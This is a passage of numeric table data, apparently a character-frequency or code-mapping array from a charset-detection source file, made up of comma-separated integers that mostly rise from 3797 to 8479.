3797,1588,3798,3799,3800,3801,3802,3803,3804,3805,3806,1347,3807,3808,3809,3810, 3811,1589,3812,3813,3814,3815,3816,3817,3818,3819,3820,3821,1590,3822,3823,1591, 1348,3824,3825,3826,3827,3828,3829,3830,1592,3831,3832,1593,3833,3834,3835,3836, 3837,3838,3839,3840,3841,3842,3843,3844,1349,3845,3846,3847,3848,3849,3850,3851, 3852,3853,3854,3855,3856,3857,3858,1594,3859,3860,3861,3862,3863,3864,3865,3866, 3867,3868,3869,1595,3870,3871,3872,3873,1596,3874,3875,3876,3877,3878,3879,3880, 3881,3882,3883,3884,3885,3886,1597,3887,3888,3889,3890,3891,3892,3893,3894,3895, 1598,3896,3897,3898,1599,1600,3899,1350,3900,1351,3901,3902,1352,3903,3904,3905, 3906,3907,3908,3909,3910,3911,3912,3913,3914,3915,3916,3917,3918,3919,3920,3921, 3922,3923,3924,1258,3925,3926,3927,3928,3929,3930,3931,1193,3932,1601,3933,3934, 3935,3936,3937,3938,3939,3940,3941,3942,3943,1602,3944,3945,3946,3947,3948,1603, 3949,3950,3951,3952,3953,3954,3955,3956,3957,3958,3959,3960,3961,3962,3963,3964, 3965,1604,3966,3967,3968,3969,3970,3971,3972,3973,3974,3975,3976,3977,1353,3978, 3979,3980,3981,3982,3983,3984,3985,3986,3987,3988,3989,3990,3991,1354,3992,3993, 3994,3995,3996,3997,3998,3999,4000,4001,4002,4003,4004,4005,4006,4007,4008,4009, 4010,4011,4012,4013,4014,4015,4016,4017,4018,4019,4020,4021,4022,4023,1355,4024, 4025,4026,4027,4028,4029,4030,4031,4032,4033,4034,4035,4036,4037,4038,4039,4040, 1605,4041,4042,4043,4044,4045,4046,4047,4048,4049,4050,4051,4052,4053,4054,4055, 4056,4057,4058,4059,4060,1606,4061,4062,4063,4064,1607,4065,4066,4067,4068,4069, 4070,4071,4072,4073,4074,4075,4076,1194,4077,4078,1608,4079,4080,4081,4082,4083, 4084,4085,4086,4087,1609,4088,4089,4090,4091,4092,4093,4094,4095,4096,4097,4098, 4099,4100,4101,4102,4103,4104,4105,4106,4107,4108,1259,4109,4110,4111,4112,4113, 4114,4115,4116,4117,4118,4119,4120,4121,4122,4123,4124,1195,4125,4126,4127,1610, 4128,4129,4130,4131,4132,4133,4134,4135,4136,4137,1356,4138,4139,4140,4141,4142, 4143,4144,1611,4145,4146,4147,4148,4149,4150,4151,4152,4153,4154,4155,4156,4157, 4158,4159,4160,4161,4162,4163,4164,4165,4166,4167,4168,4169,4170,4171,4172,4173, 4174,4175,4176,4177,4178,4179,4180,4181,4182,4183,4184,4185,4186,4187,4188,4189, 4190,4191,4192,4193,4194,4195,4196,4197,4198,4199,4200,4201,4202,4203,4204,4205, 4206,4207,4208,4209,4210,4211,4212,4213,4214,4215,4216,4217,4218,4219,1612,4220, 4221,4222,4223,4224,4225,4226,4227,1357,4228,1613,4229,4230,4231,4232,4233,4234, 4235,4236,4237,4238,4239,4240,4241,4242,4243,1614,4244,4245,4246,4247,4248,4249, 4250,4251,4252,4253,4254,4255,4256,4257,4258,4259,4260,4261,4262,4263,4264,4265, 4266,4267,4268,4269,4270,1196,1358,4271,4272,4273,4274,4275,4276,4277,4278,4279, 4280,4281,4282,4283,4284,4285,4286,4287,1615,4288,4289,4290,4291,4292,4293,4294, 4295,4296,4297,4298,4299,4300,4301,4302,4303,4304,4305,4306,4307,4308,4309,4310, 4311,4312,4313,4314,4315,4316,4317,4318,4319,4320,4321,4322,4323,4324,4325,4326, 4327,4328,4329,4330,4331,4332,4333,4334,1616,4335,4336,4337,4338,4339,4340,4341, 4342,4343,4344,4345,4346,4347,4348,4349,4350,4351,4352,4353,4354,4355,4356,4357, 4358,4359,4360,1617,4361,4362,4363,4364,4365,1618,4366,4367,4368,4369,4370,4371, 4372,4373,4374,4375,4376,4377,4378,4379,4380,4381,4382,4383,4384,4385,4386,4387, 4388,4389,4390,4391,4392,4393,4394,4395,4396,4397,4398,4399,4400,4401,4402,4403, 4404,4405,4406,4407,4408,4409,4410,4411,4412,4413,4414,4415,4416,1619,4417,4418, 4419,4420,4421,4422,4423,4424,4425,1112,4426,4427,4428,4429,4430,1620,4431,4432, 4433,4434,4435,4436,4437,4438,4439,4440,4441,4442,1260,1261,4443,4444,4445,4446, 4447,4448,4449,4450,4451,4452,4453,4454,4455,1359,4456,4457,4458,4459,4460,4461, 4462,4463,4464,4465,1621,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476, 4477,4478,4479,4480,4481,4482,4483,4484,4485,4486,4487,4488,4489,1055,4490,4491, 4492,4493,4494,4495,4496,4497,4498,4499,4500,4501,4502,4503,4504,4505,4506,4507, 4508,4509,4510,4511,4512,4513,4514,4515,4516,4517,4518,1622,4519,4520,4521,1623, 4522,4523,4524,4525,4526,4527,4528,4529,4530,4531,4532,4533,4534,4535,1360,4536, 4537,4538,4539,4540,4541,4542,4543, 975,4544,4545,4546,4547,4548,4549,4550,4551, 4552,4553,4554,4555,4556,4557,4558,4559,4560,4561,4562,4563,4564,4565,4566,4567, 4568,4569,4570,4571,1624,4572,4573,4574,4575,4576,1625,4577,4578,4579,4580,4581, 4582,4583,4584,1626,4585,4586,4587,4588,4589,4590,4591,4592,4593,4594,4595,1627, 4596,4597,4598,4599,4600,4601,4602,4603,4604,4605,4606,4607,4608,4609,4610,4611, 4612,4613,4614,4615,1628,4616,4617,4618,4619,4620,4621,4622,4623,4624,4625,4626, 4627,4628,4629,4630,4631,4632,4633,4634,4635,4636,4637,4638,4639,4640,4641,4642, 4643,4644,4645,4646,4647,4648,4649,1361,4650,4651,4652,4653,4654,4655,4656,4657, 4658,4659,4660,4661,1362,4662,4663,4664,4665,4666,4667,4668,4669,4670,4671,4672, 4673,4674,4675,4676,4677,4678,4679,4680,4681,4682,1629,4683,4684,4685,4686,4687, 1630,4688,4689,4690,4691,1153,4692,4693,4694,1113,4695,4696,4697,4698,4699,4700, 4701,4702,4703,4704,4705,4706,4707,4708,4709,4710,4711,1197,4712,4713,4714,4715, 4716,4717,4718,4719,4720,4721,4722,4723,4724,4725,4726,4727,4728,4729,4730,4731, 4732,4733,4734,4735,1631,4736,1632,4737,4738,4739,4740,4741,4742,4743,4744,1633, 4745,4746,4747,4748,4749,1262,4750,4751,4752,4753,4754,1363,4755,4756,4757,4758, 4759,4760,4761,4762,4763,4764,4765,4766,4767,4768,1634,4769,4770,4771,4772,4773, 4774,4775,4776,4777,4778,1635,4779,4780,4781,4782,4783,4784,4785,4786,4787,4788, 4789,1636,4790,4791,4792,4793,4794,4795,4796,4797,4798,4799,4800,4801,4802,4803, 4804,4805,4806,1637,4807,4808,4809,1638,4810,4811,4812,4813,4814,4815,4816,4817, 4818,1639,4819,4820,4821,4822,4823,4824,4825,4826,4827,4828,4829,4830,4831,4832, 4833,1077,4834,4835,4836,4837,4838,4839,4840,4841,4842,4843,4844,4845,4846,4847, 4848,4849,4850,4851,4852,4853,4854,4855,4856,4857,4858,4859,4860,4861,4862,4863, 4864,4865,4866,4867,4868,4869,4870,4871,4872,4873,4874,4875,4876,4877,4878,4879, 4880,4881,4882,4883,1640,4884,4885,1641,4886,4887,4888,4889,4890,4891,4892,4893, 4894,4895,4896,4897,4898,4899,4900,4901,4902,4903,4904,4905,4906,4907,4908,4909, 4910,4911,1642,4912,4913,4914,1364,4915,4916,4917,4918,4919,4920,4921,4922,4923, 4924,4925,4926,4927,4928,4929,4930,4931,1643,4932,4933,4934,4935,4936,4937,4938, 4939,4940,4941,4942,4943,4944,4945,4946,4947,4948,4949,4950,4951,4952,4953,4954, 4955,4956,4957,4958,4959,4960,4961,4962,4963,4964,4965,4966,4967,4968,4969,4970, 4971,4972,4973,4974,4975,4976,4977,4978,4979,4980,1644,4981,4982,4983,4984,1645, 4985,4986,1646,4987,4988,4989,4990,4991,4992,4993,4994,4995,4996,4997,4998,4999, 5000,5001,5002,5003,5004,5005,1647,5006,1648,5007,5008,5009,5010,5011,5012,1078, 5013,5014,5015,5016,5017,5018,5019,5020,5021,5022,5023,5024,5025,5026,5027,5028, 1365,5029,5030,5031,5032,5033,5034,5035,5036,5037,5038,5039,1649,5040,5041,5042, 5043,5044,5045,1366,5046,5047,5048,5049,5050,5051,5052,5053,5054,5055,1650,5056, 5057,5058,5059,5060,5061,5062,5063,5064,5065,5066,5067,5068,5069,5070,5071,5072, 5073,5074,5075,5076,5077,1651,5078,5079,5080,5081,5082,5083,5084,5085,5086,5087, 5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102,5103, 5104,5105,5106,5107,5108,5109,5110,1652,5111,5112,5113,5114,5115,5116,5117,5118, 1367,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,1653,5130,5131,5132, 5133,5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148, 5149,1368,5150,1654,5151,1369,5152,5153,5154,5155,5156,5157,5158,5159,5160,5161, 5162,5163,5164,5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,5176,5177, 5178,1370,5179,5180,5181,5182,5183,5184,5185,5186,5187,5188,5189,5190,5191,5192, 5193,5194,5195,5196,5197,5198,1655,5199,5200,5201,5202,1656,5203,5204,5205,5206, 1371,5207,1372,5208,5209,5210,5211,1373,5212,5213,1374,5214,5215,5216,5217,5218, 5219,5220,5221,5222,5223,5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234, 5235,5236,5237,5238,5239,5240,5241,5242,5243,5244,5245,5246,5247,1657,5248,5249, 5250,5251,1658,1263,5252,5253,5254,5255,5256,1375,5257,5258,5259,5260,5261,5262, 5263,5264,5265,5266,5267,5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278, 5279,5280,5281,5282,5283,1659,5284,5285,5286,5287,5288,5289,5290,5291,5292,5293, 5294,5295,5296,5297,5298,5299,5300,1660,5301,5302,5303,5304,5305,5306,5307,5308, 5309,5310,5311,5312,5313,5314,5315,5316,5317,5318,5319,5320,5321,1376,5322,5323, 5324,5325,5326,5327,5328,5329,5330,5331,5332,5333,1198,5334,5335,5336,5337,5338, 5339,5340,5341,5342,5343,1661,5344,5345,5346,5347,5348,5349,5350,5351,5352,5353, 5354,5355,5356,5357,5358,5359,5360,5361,5362,5363,5364,5365,5366,5367,5368,5369, 5370,5371,5372,5373,5374,5375,5376,5377,5378,5379,5380,5381,5382,5383,5384,5385, 5386,5387,5388,5389,5390,5391,5392,5393,5394,5395,5396,5397,5398,1264,5399,5400, 5401,5402,5403,5404,5405,5406,5407,5408,5409,5410,5411,5412,1662,5413,5414,5415, 5416,1663,5417,5418,5419,5420,5421,5422,5423,5424,5425,5426,5427,5428,5429,5430, 5431,5432,5433,5434,5435,5436,5437,5438,1664,5439,5440,5441,5442,5443,5444,5445, 5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456,5457,5458,5459,5460,5461, 5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472,5473,5474,5475,5476,5477, 5478,1154,5479,5480,5481,5482,5483,5484,5485,1665,5486,5487,5488,5489,5490,5491, 5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504,5505,5506,5507, 5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520,5521,5522,5523, 5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536,5537,5538,5539, 5540,5541,5542,5543,5544,5545,5546,5547,5548,1377,5549,5550,5551,5552,5553,5554, 5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568,5569,5570, 1114,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584,5585, 5586,5587,5588,5589,5590,5591,5592,1378,5593,5594,5595,5596,5597,5598,5599,5600, 5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,1379,5615, 5616,5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631, 5632,5633,5634,1380,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646, 5647,5648,5649,1381,1056,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660, 1666,5661,5662,5663,5664,5665,5666,5667,5668,1667,5669,1668,5670,5671,5672,5673, 5674,5675,5676,5677,5678,1155,5679,5680,5681,5682,5683,5684,5685,5686,5687,5688, 5689,5690,5691,5692,5693,5694,5695,5696,5697,5698,1669,5699,5700,5701,5702,5703, 5704,5705,1670,5706,5707,5708,5709,5710,1671,5711,5712,5713,5714,1382,5715,5716, 5717,5718,5719,5720,5721,5722,5723,5724,5725,1672,5726,5727,1673,1674,5728,5729, 5730,5731,5732,5733,5734,5735,5736,1675,5737,5738,5739,5740,5741,5742,5743,5744, 1676,5745,5746,5747,5748,5749,5750,5751,1383,5752,5753,5754,5755,5756,5757,5758, 5759,5760,5761,5762,5763,5764,5765,5766,5767,5768,1677,5769,5770,5771,5772,5773, 1678,5774,5775,5776, 998,5777,5778,5779,5780,5781,5782,5783,5784,5785,1384,5786, 5787,5788,5789,5790,5791,5792,5793,5794,5795,5796,5797,5798,5799,5800,1679,5801, 5802,5803,1115,1116,5804,5805,5806,5807,5808,5809,5810,5811,5812,5813,5814,5815, 5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828,5829,5830,5831, 5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844,5845,5846,5847, 5848,5849,5850,5851,5852,5853,5854,5855,1680,5856,5857,5858,5859,5860,5861,5862, 5863,5864,1681,5865,5866,5867,1682,5868,5869,5870,5871,5872,5873,5874,5875,5876, 5877,5878,5879,1683,5880,1684,5881,5882,5883,5884,1685,5885,5886,5887,5888,5889, 5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905, 5906,5907,1686,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, 5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,1687, 5936,5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951, 5952,1688,1689,5953,1199,5954,5955,5956,5957,5958,5959,5960,5961,1690,5962,5963, 5964,5965,5966,5967,5968,5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979, 5980,5981,1385,5982,1386,5983,5984,5985,5986,5987,5988,5989,5990,5991,5992,5993, 5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6008,6009, 6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020,6021,6022,6023,6024,6025, 6026,6027,1265,6028,6029,1691,6030,6031,6032,6033,6034,6035,6036,6037,6038,6039, 6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052,6053,6054,6055, 6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068,6069,6070,6071, 6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084,1692,6085,6086, 6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100,6101,6102, 6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116,6117,6118, 6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,1693,6132,6133, 6134,6135,6136,1694,6137,6138,6139,6140,6141,1695,6142,6143,6144,6145,6146,6147, 6148,6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163, 6164,6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179, 6180,6181,6182,6183,6184,6185,1696,6186,6187,6188,6189,6190,6191,6192,6193,6194, 6195,6196,6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210, 6211,6212,6213,6214,6215,6216,6217,6218,6219,1697,6220,6221,6222,6223,6224,6225, 6226,6227,6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241, 6242,6243,6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,1698,6254,6255,6256, 6257,6258,6259,6260,6261,6262,6263,1200,6264,6265,6266,6267,6268,6269,6270,6271, #1024 6272,6273,6274,6275,6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,6286,6287, 6288,6289,6290,6291,6292,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,1699, 6303,6304,1700,6305,6306,6307,6308,6309,6310,6311,6312,6313,6314,6315,6316,6317, 6318,6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333, 6334,6335,6336,6337,6338,6339,1701,6340,6341,6342,6343,6344,1387,6345,6346,6347, 6348,6349,6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363, 6364,6365,6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379, 6380,6381,6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395, 6396,6397,6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,6411, 6412,6413,1702,6414,6415,6416,6417,6418,6419,6420,6421,6422,1703,6423,6424,6425, 6426,6427,6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,1704,6439,6440, 6441,6442,6443,6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,6455,6456, 6457,6458,6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472, 6473,6474,6475,6476,6477,6478,6479,6480,6481,6482,6483,6484,6485,6486,6487,6488, 6489,6490,6491,6492,6493,6494,6495,6496,6497,6498,6499,6500,6501,6502,6503,1266, 6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516,6517,6518,6519, 6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532,6533,6534,6535, 6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548,6549,6550,6551, 1705,1706,6552,6553,6554,6555,6556,6557,6558,6559,6560,6561,6562,6563,6564,6565, 6566,6567,6568,6569,6570,6571,6572,6573,6574,6575,6576,6577,6578,6579,6580,6581, 6582,6583,6584,6585,6586,6587,6588,6589,6590,6591,6592,6593,6594,6595,6596,6597, 6598,6599,6600,6601,6602,6603,6604,6605,6606,6607,6608,6609,6610,6611,6612,6613, 6614,6615,6616,6617,6618,6619,6620,6621,6622,6623,6624,6625,6626,6627,6628,6629, 6630,6631,6632,6633,6634,6635,6636,6637,1388,6638,6639,6640,6641,6642,6643,6644, 1707,6645,6646,6647,6648,6649,6650,6651,6652,6653,6654,6655,6656,6657,6658,6659, 6660,6661,6662,6663,1708,6664,6665,6666,6667,6668,6669,6670,6671,6672,6673,6674, 1201,6675,6676,6677,6678,6679,6680,6681,6682,6683,6684,6685,6686,6687,6688,6689, 6690,6691,6692,6693,6694,6695,6696,6697,6698,6699,6700,6701,6702,6703,6704,6705, 6706,6707,6708,6709,6710,6711,6712,6713,6714,6715,6716,6717,6718,6719,6720,6721, 6722,6723,6724,6725,1389,6726,6727,6728,6729,6730,6731,6732,6733,6734,6735,6736, 1390,1709,6737,6738,6739,6740,6741,6742,1710,6743,6744,6745,6746,1391,6747,6748, 6749,6750,6751,6752,6753,6754,6755,6756,6757,1392,6758,6759,6760,6761,6762,6763, 6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777,6778,6779, 6780,1202,6781,6782,6783,6784,6785,6786,6787,6788,6789,6790,6791,6792,6793,6794, 6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806,6807,6808,6809,1711, 6810,6811,6812,6813,6814,6815,6816,6817,6818,6819,6820,6821,6822,6823,6824,6825, 6826,6827,6828,6829,6830,6831,6832,6833,6834,6835,6836,1393,6837,6838,6839,6840, 6841,6842,6843,6844,6845,6846,6847,6848,6849,6850,6851,6852,6853,6854,6855,6856, 6857,6858,6859,6860,6861,6862,6863,6864,6865,6866,6867,6868,6869,6870,6871,6872, 6873,6874,6875,6876,6877,6878,6879,6880,6881,6882,6883,6884,6885,6886,6887,6888, 6889,6890,6891,6892,6893,6894,6895,6896,6897,6898,6899,6900,6901,6902,1712,6903, 6904,6905,6906,6907,6908,6909,6910,1713,6911,6912,6913,6914,6915,6916,6917,6918, 6919,6920,6921,6922,6923,6924,6925,6926,6927,6928,6929,6930,6931,6932,6933,6934, 6935,6936,6937,6938,6939,6940,6941,6942,6943,6944,6945,6946,6947,6948,6949,6950, 6951,6952,6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966, 6967,6968,6969,6970,6971,6972,6973,6974,1714,6975,6976,6977,6978,6979,6980,6981, 6982,6983,6984,6985,6986,6987,6988,1394,6989,6990,6991,6992,6993,6994,6995,6996, 6997,6998,6999,7000,1715,7001,7002,7003,7004,7005,7006,7007,7008,7009,7010,7011, 7012,7013,7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027, 7028,1716,7029,7030,7031,7032,7033,7034,7035,7036,7037,7038,7039,7040,7041,7042, 7043,7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058, 7059,7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,7071,7072,7073,7074, 7075,7076,7077,7078,7079,7080,7081,7082,7083,7084,7085,7086,7087,7088,7089,7090, 7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105,7106, 7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,7119,7120,7121,7122, 7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136,7137,7138, 7139,7140,7141,7142,7143,7144,7145,7146,7147,7148,7149,7150,7151,7152,7153,7154, 7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167,7168,7169,7170, 7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183,7184,7185,7186, 7187,7188,7189,7190,7191,7192,7193,7194,7195,7196,7197,7198,7199,7200,7201,7202, 7203,7204,7205,7206,7207,1395,7208,7209,7210,7211,7212,7213,1717,7214,7215,7216, 7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229,7230,7231,7232, 7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245,7246,7247,7248, 7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261,7262,7263,7264, 7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277,7278,7279,7280, 7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293,7294,7295,7296, 7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308,7309,7310,7311,7312, 7313,1718,7314,7315,7316,7317,7318,7319,7320,7321,7322,7323,7324,7325,7326,7327, 7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339,7340,7341,7342,7343, 7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,7354,7355,7356,7357,7358,7359, 7360,7361,7362,7363,7364,7365,7366,7367,7368,7369,7370,7371,7372,7373,7374,7375, 7376,7377,7378,7379,7380,7381,7382,7383,7384,7385,7386,7387,7388,7389,7390,7391, 7392,7393,7394,7395,7396,7397,7398,7399,7400,7401,7402,7403,7404,7405,7406,7407, 7408,7409,7410,7411,7412,7413,7414,7415,7416,7417,7418,7419,7420,7421,7422,7423, 7424,7425,7426,7427,7428,7429,7430,7431,7432,7433,7434,7435,7436,7437,7438,7439, 7440,7441,7442,7443,7444,7445,7446,7447,7448,7449,7450,7451,7452,7453,7454,7455, 7456,7457,7458,7459,7460,7461,7462,7463,7464,7465,7466,7467,7468,7469,7470,7471, 7472,7473,7474,7475,7476,7477,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487, 7488,7489,7490,7491,7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,7503, 7504,7505,7506,7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519, 7520,7521,7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535, 7536,7537,7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,7550,7551, 7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, 7568,7569,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582,7583, 7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598,7599, 7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614,7615, 7616,7617,7618,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628,7629,7630,7631, 7632,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643,7644,7645,7646,7647, 7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659,7660,7661,7662,7663, 7664,7665,7666,7667,7668,7669,7670,7671,7672,7673,7674,7675,7676,7677,7678,7679, 7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690,7691,7692,7693,7694,7695, 7696,7697,7698,7699,7700,7701,7702,7703,7704,7705,7706,7707,7708,7709,7710,7711, 7712,7713,7714,7715,7716,7717,7718,7719,7720,7721,7722,7723,7724,7725,7726,7727, 7728,7729,7730,7731,7732,7733,7734,7735,7736,7737,7738,7739,7740,7741,7742,7743, 7744,7745,7746,7747,7748,7749,7750,7751,7752,7753,7754,7755,7756,7757,7758,7759, 7760,7761,7762,7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775, 7776,7777,7778,7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791, 7792,7793,7794,7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,7806,7807, 7808,7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823, 7824,7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839, 7840,7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855, 7856,7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871, 7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887, 7888,7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903, 7904,7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919, 7920,7921,7922,7923,7924,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, 7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, 7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, 7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, 7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, 8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, 8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, 8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, 8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, 8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, 8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, 8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, 8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, 8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, 8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, 8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, 8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, 8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, 8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, 8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, 8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, 8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271, 8272,8273,8274,8275,8276,8277,8278,8279,8280,8281,8282,8283,8284,8285,8286,8287, 8288,8289,8290,8291,8292,8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303, 8304,8305,8306,8307,8308,8309,8310,8311,8312,8313,8314,8315,8316,8317,8318,8319, 8320,8321,8322,8323,8324,8325,8326,8327,8328,8329,8330,8331,8332,8333,8334,8335, 8336,8337,8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351, 8352,8353,8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,8364,8365,8366,8367, 8368,8369,8370,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382,8383, 8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398,8399, 8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,8411,8412,8413,8414,8415, 8416,8417,8418,8419,8420,8421,8422,8423,8424,8425,8426,8427,8428,8429,8430,8431, 8432,8433,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443,8444,8445,8446,8447, 8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459,8460,8461,8462,8463, 8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475,8476,8477,8478,8479, 